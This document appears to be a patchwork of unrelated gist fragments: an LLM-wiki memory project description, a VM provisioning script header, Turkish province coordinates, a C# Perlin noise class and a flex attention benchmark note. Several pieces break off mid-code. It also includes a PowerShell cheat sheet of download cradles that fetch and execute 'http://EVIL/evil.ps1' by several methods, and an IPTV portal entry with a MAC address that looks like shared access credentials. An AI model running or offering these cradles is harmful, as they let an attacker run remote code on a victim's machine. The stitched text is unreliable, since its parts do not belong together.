Runnable Implementation: https://github.com/hanyuancheung/llm-skill
This is a first-person record of how I took Karpathy's LLM-Wiki intuition and turned it, step by step, into the
llm-skillproject. I'll walk through: where I started, why I chose this particular layering, what each layer solves.
a federated, pluggable LLM memory system
A single llm-wiki is good. But you will eventually want more than one. And then you'll want them to talk to each other. That's what this is.
federated-llm-wiki should let you deploy vaults in minutes, connect them in a clean DAG, plug in agents and UI components, and scale from a single personal wiki to a network of federated knowledge bases — covering completely unrelated topics — under one roof.
Not centralized — So, no global authority. Not decentralized — So, no trustless chaos. Federated: each vault governs its own knowledge; connections are explicit, directional, and acyclic.
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| # ───────────────────────────────────────────────────────────────────────────── | |
| # uat provisioner — LXQt + Chrome acceptance-testing desktop under qemu:///system. | |
| # Runs entirely as your normal user (no sudo): disks live in a path you own, | |
| # and libvirtd (already root) does the privileged VM/network work. | |
| # Keep uat-cloud-init.yaml and uat-net.xml next to this script. | |
| # ───────────────────────────────────────────────────────────────────────────── | |
| # Pin a clean PATH so a custom python (pyenv/conda/etc.) can't shadow the system |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
Based on Karpathy's llm-wiki pattern — using LLMs to incrementally build and maintain a persistent, interlinked wiki from raw sources rather than re-deriving knowledge on every query.
Copy the prompt below into Claude Code, Codex, or any LLM agent with file access. It will scaffold the wiki, configure the tooling, and update your CLAUDE.md with the schema. Then you just start ingesting sources.
I want to set up the llm-wiki pattern in my Obsidian vault. Follow this guide exactly:
| plaka | il_adi | lat | lon | northeast_lat | northeast_lon | southwest_lat | southwest_lon | |
|---|---|---|---|---|---|---|---|---|
| 1 | ADANA | 37.00000000 | 35.32133330 | 37.07200400 | 35.46199500 | 36.93552300 | 35.17470600 | |
| 2 | ADIYAMAN | 37.76416670 | 38.27616670 | 37.82566700 | 38.33546500 | 37.71708600 | 38.18818800 | |
| 3 | AFYONKARAHİSAR | 38.76376000 | 30.54034000 | 38.80210500 | 30.61116700 | 38.71428900 | 30.44232000 | |
| 4 | AĞRI | 39.72166670 | 43.05666670 | 39.74860500 | 43.08524100 | 39.68814400 | 43.00177800 | |
| 5 | AMASYA | 40.65000000 | 35.83333330 | 40.67283400 | 35.85632100 | 40.63691100 | 35.78909100 | |
| 6 | ANKARA | 39.92077000 | 32.85411000 | 40.10098100 | 33.02486600 | 39.72282100 | 32.49909700 | |
| 7 | ANTALYA | 36.88414000 | 30.70563000 | 36.97517800 | 30.84095300 | 36.78586600 | 30.51609500 | |
| 8 | ARTVİN | 41.18333330 | 41.81666670 | 41.20707800 | 41.85479900 | 41.15541500 | 41.77736100 | |
| 9 | AYDIN | 37.84440000 | 27.84580000 | 37.87099700 | 27.88535500 | 37.81957300 | 27.79052200 |
| Portal: http://drctv.xyz/c/ | |
| MAC: 00:1A:79:8E:76:90 | |
| Expiry: 19-07-2026 12:00:00 AM | |
| Remaining: 1 days | |
| Live Channels: 25318 | |
| Series: 1341 | |
| Movies: 1798 | |
| Total Content: 28457 |
| public class Perlin { | |
| public int repeat; | |
| public Perlin(int repeat = -1) { | |
| this.repeat = repeat; | |
| } | |
| public double OctavePerlin(double x, double y, double z, int octaves, double persistence) { | |
| double total = 0; |
TLDR: We can nearly 7x (+560%) our throughput by turning compile + sample packing + flex attention on. Compared to packing with compiled SDPA, compiled flex attention boosts throughput by over 2x (140%) for Llama3 8B at max sequence length of 8192. This effect is more pronounced as sequence length increases as it scales more efficiently.
Flex attention introduces a mask_mod argument that enables flash attention with arbitrary masks. This also removes the need to hold a mask in memory before computing attention, which can get expensive with longer sequence lengths. Here we benchmark the throughput and memory usage of sample packing using flex attention and sample packing using standard SDPA.
Flex attention: